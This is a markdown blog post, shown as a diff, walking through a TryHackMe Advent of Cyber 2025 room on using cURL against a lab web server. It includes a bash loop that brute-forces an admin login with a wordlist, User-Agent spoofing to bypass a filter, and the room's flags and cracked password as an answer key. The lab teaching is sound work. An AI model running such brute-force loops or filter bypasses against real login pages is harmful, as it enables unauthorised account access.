|
| 1 | +--- |
| 2 | +title: "TryHackMe: Advent Of Cyber 2025 Day 24 (Exploitation with cURL - Hoperation Eggsploit)" |
| 3 | +categories: [TryHackMe] |
| 4 | +tags: [curl, http, api, web, advent of cyber] |
| 5 | +render_with_liquid: false |
| 6 | +media_subpath: /images/tryhackme_aoc2025_day24/ |
| 7 | +image: |
| 8 | + path: banner.png |
| 9 | +--- |
| 10 | + |
| 11 | +The evil Easter bunnies operate a web control panel that holds the wormhole open. Using cURL, identify the endpoints, send the required requests, and shut the wormhole once and for all. |
| 12 | + |
| 13 | +<h2 style="color:#A64AC9; text-align:center; font-weight:700; font-size:1.8em; text-shadow: 1px 0 #A64AC9, -1px 0 #A64AC9, 0 1px #A64AC9, 0 -1px #A64AC9;"> |
| 14 | + The Story |
| 15 | +</h2> |
| 16 | + |
| 17 | +[{: width="1200" height="407" }](https://tryhackme.com/room/webhackingusingcurl-aoc2025-w8q1a4s7d0) |
| 18 | + |
| 19 | +## Introduction |
| 20 | + |
| 21 | +According to blue-team intel, the wormhole is held open by a control panel on the Evil Bunnies' web server. The team must shut it down first to cut off reinforcements before facing King Malhare. |
| 22 | + |
| 23 | +However, the terminal they have is bare. No Burp Suite, no browser, just a command prompt. |
| 24 | + |
| 25 | +But that's fine. The team will use the command line and cURL to speak HTTP directly: send requests, read responses, and find the endpoints that shut the portal. |
| 26 | + |
| 27 | +## HTTP Requests Using cURL |
| 28 | +Applications, like our browsers, communicate with servers using HTTP (Hypertext Transfer Protocol). Think of HTTP as the language for asking a server for resources (pages, images, JSON data) and getting answers back. |
| 29 | + |
| 30 | +So if you want to access a website, your browser sends an **HTTP request** to the web server. If the request is valid, the server replies with an **HTTP response** that contains the data needed to display the website. |
| 31 | + |
| 32 | +In the absence of a browser, you can still speak HTTP directly from the command line. The simplest way is with cURL. |
| 33 | + |
| 34 | +`curl` is a command-line tool for crafting HTTP requests and viewing raw responses. It's ideal when you need precision or when GUI tools aren't available. |
| 35 | + |
| 36 | +## Trying out cURL |
| 37 | + |
| 38 | +Once you have AttackBox ready. Open a command prompt and run the command below: |
| 39 | + |
| 40 | +```console |
| 41 | +root@attackbox:~# curl http://MACHINE_IP/ |
| 42 | +``` |
| 43 | + |
| 44 | +What happens after running the command is that `curl` sends an `HTTP GET` request for the site's home page. An HTTP response is received containing the body, which is then printed in the terminal. Because this is a terminal, instead of rendering the webpage, what you'll see is the text representation of the page in HTML. |
| 45 | + |
| 46 | +## Sending POST Requests |
| 47 | + |
| 48 | +Suppose you've found a login form whose **POST** target is `/post.php`. When you log in through a browser, it sends a **POST** request to the server containing the credentials you entered. We can simulate this directly from the terminal. |
| 49 | + |
| 50 | +A normal login form submission might look like this: |
| 51 | + |
| 52 | +```console |
| 53 | +root@attackbox:~# curl -X POST -d "username=user&password=user" http://MACHINE_IP/post.php |
| 54 | +``` |
| 55 | + |
| 56 | +You should get the reply `Invalid credentials`. |
| 57 | + |
| 58 | +Here's what's happening: |
| 59 | + |
| 60 | +- `-X POST` tells cURL to use the POST method. |
| 61 | +- `-d` defines the data we're sending in the body of the request. |
| 62 | +- The data will be sent in URL-encoded format, which is the same as what HTML forms use. |
| 63 | + |
| 64 | +If the application expects additional fields, like a "Login" button or a CSRF token, they can be included too: |
| 65 | + |
| 66 | +```console |
| 67 | +root@attackbox:~# curl -X POST -d "username=user&password=user&submit=Login" http://MACHINE_IP/post.php |
| 68 | +``` |
| 69 | + |
| 70 | +To view exactly what the server returns (including headers and potential redirects), add the `-i` flag: |
| 71 | + |
| 72 | +```console |
| 73 | +root@attackbox:~# curl -i -X POST -d "username=user&password=user" http://MACHINE_IP/post.php |
| 74 | +``` |
| 75 | + |
| 76 | +If the site responds with a **Set-Cookie** header, that's a good sign, it means you've successfully logged in or at least triggered a session. |
| 77 | + |
| 78 | +## Using Cookies and Sessions |
| 79 | + |
| 80 | +Once you log in, web applications use cookies to keep your session active. When you make another request with your browser, the cookie gets sent automatically, but with cURL, you need to handle it yourself. |
| 81 | + |
| 82 | +You can do this in two steps: |
| 83 | + |
| 84 | +**Step 1: Save the cookies** |
| 85 | + |
| 86 | +```console |
| 87 | +root@attackbox:~# curl -c cookies.txt -d "username=admin&password=admin" http://MACHINE_IP/session.php |
| 88 | +``` |
| 89 | + |
| 90 | +- The `-c` option writes any cookies received from the server into a file (`cookies.txt` in this case). |
| 91 | +- You'll often see a session cookie like `PHPSESSID=xyz123`. |
| 92 | + |
| 93 | +**Step 2: Reuse the saved cookies** |
| 94 | + |
| 95 | +```console |
| 96 | +root@attackbox:~# curl -b cookies.txt http://MACHINE_IP/session.php |
| 97 | +``` |
| 98 | + |
| 99 | +- The `-b` option tells cURL to send the saved cookies in the next request, just like a browser would. |
| 100 | + |
| 101 | +This is exactly how session replay testing works, by replaying valid cookies in separate requests. |
| 102 | + |
| 103 | +## Automating Login and Performing Brute Force Using cURL |
| 104 | + |
| 105 | +Now that we can send POST requests and manage sessions, it's time to automate things. Let's simulate a brute-force attack against a weak login form. |
| 106 | + |
| 107 | +Start by creating a file called `passwords.txt` and place the following passwords inside it: |
| 108 | + |
| 109 | +```console |
| 110 | +admin123 |
| 111 | +password |
| 112 | +letmein |
| 113 | +secretpass |
| 114 | +secret |
| 115 | +``` |
| 116 | + |
| 117 | +Then, create a simple bash loop called `loop.sh` to try each password against `bruteforce.php` and copy-paste the following code inside it: |
| 118 | + |
| 119 | +```sh |
| 120 | +for pass in $(cat passwords.txt); do |
| 121 | + echo "Trying password: $pass" |
| 122 | + response=$(curl -s -X POST -d "username=admin&password=$pass" http://MACHINE_IP/bruteforce.php) |
| 123 | + if echo "$response" | grep -q "Welcome"; then |
| 124 | + echo "[+] Password found: $pass" |
| 125 | + break |
| 126 | + fi |
| 127 | +done |
| 128 | +``` |
| 129 | + |
| 130 | +Then add the execute permission to the script and run it, as shown below: |
| 131 | + |
| 132 | +```console |
| 133 | +root@attackbox:~# chmod +x loop.sh |
| 134 | +root@attackbox:~# ./loop.sh |
| 135 | +``` |
| 136 | + |
| 137 | +Here's how this works: |
| 138 | + |
| 139 | +- `$(cat passwords.txt)` reads each password from the file. |
| 140 | +- `curl -s` sends the login request silently (no progress meter). |
| 141 | +- The response is stored in a variable. |
| 142 | +- `grep -q` checks if the response contains a success string (like “Welcome”). |
| 143 | +- When found, it prints the working password and exits the loop. |
| 144 | + |
| 145 | +This exact method underpins tools like **Hydra**, **Burp Intruder**, and **WFuzz**. By doing it manually, you understand what's happening under the hood: a repetitive HTTP POST with variable data, waiting for a different response. |
| 146 | + |
| 147 | +## Bypassing User-Agent Checks |
| 148 | + |
| 149 | +Some applications block cURL by checking the **User-Agent** header. For example, the server may reject requests with: `User-Agent: curl/7.x.x` |
| 150 | + |
| 151 | +To specify a custom user-agent, we can use the `-A` flag: |
| 152 | + |
| 153 | +```console |
| 154 | +root@attackbox:~# curl -A "internalcomputer" http://MACHINE_IP/ua_check.php |
| 155 | +``` |
| 156 | + |
| 157 | +To confirm the check: |
| 158 | + |
| 159 | +```console |
| 160 | +root@attackbox:~# curl -i http://MACHINE_IP/ua_check.php |
| 161 | +root@attackbox:~# curl -i -A "internalcomputer" http://MACHINE_IP/ua_check.php |
| 162 | +``` |
| 163 | + |
| 164 | +If the first fails and the second succeeds, the UA check is working, and you've bypassed it by spoofing. |
| 165 | + |
| 166 | +## The Final Battle Commences |
| 167 | + |
| 168 | +With the wormhole closed, King Malhare no longer had access to his reinforcements. McSkidy looked to her fellow Wareville town members. The king would only be vulnerable for a moment. The time to strike was now! |
| 169 | + |
| 170 | +“Charge!!!” McSkidy exclaimed. |
| 171 | + |
| 172 | +McSkidy and the townspeople of Wareville began unloading a barrage of snowballs on the king’s bunny battalion. They quickly returned fire with egg projectiles. The skyline became a blur of snowballs and eggs, and McSkidy used this moment of chaos to sneak into the king’s throne room. |
| 173 | + |
| 174 | +Just as McSkidy was about to gain entry, a voice stopped her. |
| 175 | +“Not so fast,” giggled Sir Carrotbane. |
| 176 | + |
| 177 | +He slowly approached McSkidy, who suddenly felt underprepared. Just when she thought she was out of luck, Sir Breachblocker III stepped in front of her. |
| 178 | + |
| 179 | +“Go,” he simply said. |
| 180 | + |
| 181 | +“Wh… what are you doing?” Sir Carrotbane stuttered. |
| 182 | + |
| 183 | +“What I should have done a long time ago. What’s right!” Sir Breachblocker III slammed his shield into the snow and drew his sword. |
| 184 | +“GO!” he shouted, turning to McSkidy. |
| 185 | + |
| 186 | +{: width="890" height="2000"} |
| 187 | + |
| 188 | +## The End of the Road |
| 189 | + |
| 190 | +McSkidy seized the moment and ran into the king’s throne room, where she found King Malhare throwing a tantrum. |
| 191 | + |
| 192 | +“WHERE ARE MY REINFORCEMENTS?!” |
| 193 | + |
| 194 | +“They’re not coming, Malhare,” McSkidy affirmed. “It’s over. Wareville is ours. Now let’s see how you like being captive. Now!” |
| 195 | + |
| 196 | +As she shouted, two Wareville town members sprang a cage on the king. |
| 197 | + |
| 198 | +It was over. Thanks in large part to your efforts, McSkidy had been freed, and King Malhare had finally been stopped. Wareville was safe once again. The king was dethroned and sent to HopSec Prison along with his coconspirator, Sir Carrotbane. Sir Breachblocker III was pardoned for his part in stopping the king’s tyrannical plan and later became King Breachblocker. |
| 199 | + |
| 200 | +Congratulations on finishing Advent of Cyber and saving the day! From all of us at TryHackMe, have a Merry Soc-Mas and a “Hoppy” New Year! |
| 201 | + |
| 202 | +## Bonus Mission |
| 203 | + |
| 204 | +**This section is optional and applies only to the final bonus question. The instructions in this section do not apply to the regular questions. Feel free to skip it and proceed with the regular questions if you don’t intend to attempt it.** |
| 205 | + |
| 206 | +Before the final battle can begin, the wormhole must be closed to stop enemy reinforcements. The evil Easter bunnies operate a web control panel that holds it open. The blue team must identify endpoints, authenticate and obtain the operator token, and call the close operation. |
| 207 | + |
| 208 | +**Hint:** Use rockyou.txt when brute forcing for the password (only for the bonus mission). The PIN is between 4000 and 5000. |
| 209 | + |
| 210 | +**Server:** `http://MACHINE_IP/terminal.php?action=panel` |
| 211 | + |
| 212 | +## Walkthrough |
| 213 | + |
| 214 | +```console |
| 215 | +curl -i -X POST -d "username=admin&password=admin" http://10.48.160.86/post.php |
| 216 | +``` |
| 217 | + |
| 218 | +```console |
| 219 | +curl -c cookies.txt -X POST -d "username=admin&password=admin" http://10.48.160.86/cookie.php |
| 220 | +``` |
| 221 | + |
| 222 | +```console |
| 223 | +curl -b cookies.txt http://10.48.160.86/cookie.php |
| 224 | +``` |
| 225 | + |
| 226 | +Save this is `loop.sh`, with given <MACHINE_IP>: |
| 227 | + |
| 228 | +```sh |
| 229 | +for pass in $(cat passwords.txt); do |
| 230 | + echo "Trying password: $pass" |
| 231 | + response=$(curl -s -X POST -d "username=admin&password=$pass" http://10.48.160.86/bruteforce.php) |
| 232 | + if echo "$response" | grep -q "Welcome"; then |
| 233 | + echo "[+] Password found: $pass" |
| 234 | + break |
| 235 | + fi |
| 236 | +done |
| 237 | +``` |
| 238 | + |
| 239 | +Create the wordlist `passwords.txt` with these passwords: |
| 240 | + |
| 241 | +```console |
| 242 | +admin123 |
| 243 | +password |
| 244 | +letmein |
| 245 | +secretpass |
| 246 | +secret |
| 247 | +``` |
| 248 | + |
| 249 | +```console |
| 250 | +root@ip-10-48-160-7:~# chmod +x * |
| 251 | +root@ip-10-48-160-7:~# ./loop.sh |
| 252 | +``` |
| 253 | + |
| 254 | +Spoof the User-Agent: |
| 255 | + |
| 256 | +```console |
| 257 | +root@ip-10-48-109-7:~# curl -A "TBFC" http://10.48.160.86/agent.php |
| 258 | +``` |
| 259 | + |
| 260 | +## Answer |
| 261 | + |
| 262 | +### Question 1 |
| 263 | + |
| 264 | +Make a **POST** request to the `/post.php` endpoint with the username `admin` and the **password** `admin`. What is the flag you receive? |
| 265 | + |
| 266 | +<details> |
| 267 | + <summary style="cursor:pointer; padding:10px; border:1px solid #888; background-color:#444; color:#fff; user-select: none;"> |
| 268 | + Answer |
| 269 | + </summary> |
| 270 | + <div style="padding:10px; border:1px solid #888; background-color:#333; color:#fff;"> |
| 271 | + <span onclick="navigator.clipboard.writeText('THM{curl_post_success}')" style="cursor:pointer;">THM{curl_post_success}</span> |
| 272 | + <i onclick="navigator.clipboard.writeText('THM{curl_post_success}')" style="float:right; cursor:pointer; font-size:16px;">📄</i> |
| 273 | + </div> |
| 274 | +</details> |
| 275 | + |
| 276 | +### Question 2 |
| 277 | + |
| 278 | +Make a request to the `/cookie.php` endpoint with the **username** `admin` and the **password** `admin` and save the cookie. Reuse that saved cookie at the same endpoint. What is the flag your receive? |
| 279 | + |
| 280 | +<details> |
| 281 | + <summary style="cursor:pointer; padding:10px; border:1px solid #888; background-color:#444; color:#fff; user-select: none;"> |
| 282 | + Answer |
| 283 | + </summary> |
| 284 | + <div style="padding:10px; border:1px solid #888; background-color:#333; color:#fff;"> |
| 285 | + <span onclick="navigator.clipboard.writeText('THM{session_cookie_master}')" style="cursor:pointer;">THM{session_cookie_master}</span> |
| 286 | + <i onclick="navigator.clipboard.writeText('THM{session_cookie_master}')" style="float:right; cursor:pointer; font-size:16px;">📄</i> |
| 287 | + </div> |
| 288 | +</details> |
| 289 | + |
| 290 | +### Question 3 |
| 291 | + |
| 292 | +After doing the brute force on the `/bruteforce.php` endpoint, what is the password of the `admin` user? |
| 293 | + |
| 294 | +<details> |
| 295 | + <summary style="cursor:pointer; padding:10px; border:1px solid #888; background-color:#444; color:#fff; user-select: none;"> |
| 296 | + Answer |
| 297 | + </summary> |
| 298 | + <div style="padding:10px; border:1px solid #888; background-color:#333; color:#fff;"> |
| 299 | + <span onclick="navigator.clipboard.writeText('secretpass')" style="cursor:pointer;">secretpass</span> |
| 300 | + <i onclick="navigator.clipboard.writeText('secretpass')" style="float:right; cursor:pointer; font-size:16px;">📄</i> |
| 301 | + </div> |
| 302 | +</details> |
| 303 | + |
| 304 | +### Question 4 |
| 305 | + |
| 306 | +Make a request to the `/agent.php` endpoint with the user-agent `TBFC`. What is the flag your receive? |
| 307 | + |
| 308 | +<details> |
| 309 | + <summary style="cursor:pointer; padding:10px; border:1px solid #888; background-color:#444; color:#fff; user-select: none;"> |
| 310 | + Answer |
| 311 | + </summary> |
| 312 | + <div style="padding:10px; border:1px solid #888; background-color:#333; color:#fff;"> |
| 313 | + <span onclick="navigator.clipboard.writeText('THM{user_agent_filter_bypassed}')" style="cursor:pointer;">THM{user_agent_filter_bypassed}</span> |
| 314 | + <i onclick="navigator.clipboard.writeText('THM{user_agent_filter_bypassed}')" style="float:right; cursor:pointer; font-size:16px;">📄</i> |
| 315 | + </div> |
| 316 | +</details> |
0 commit comments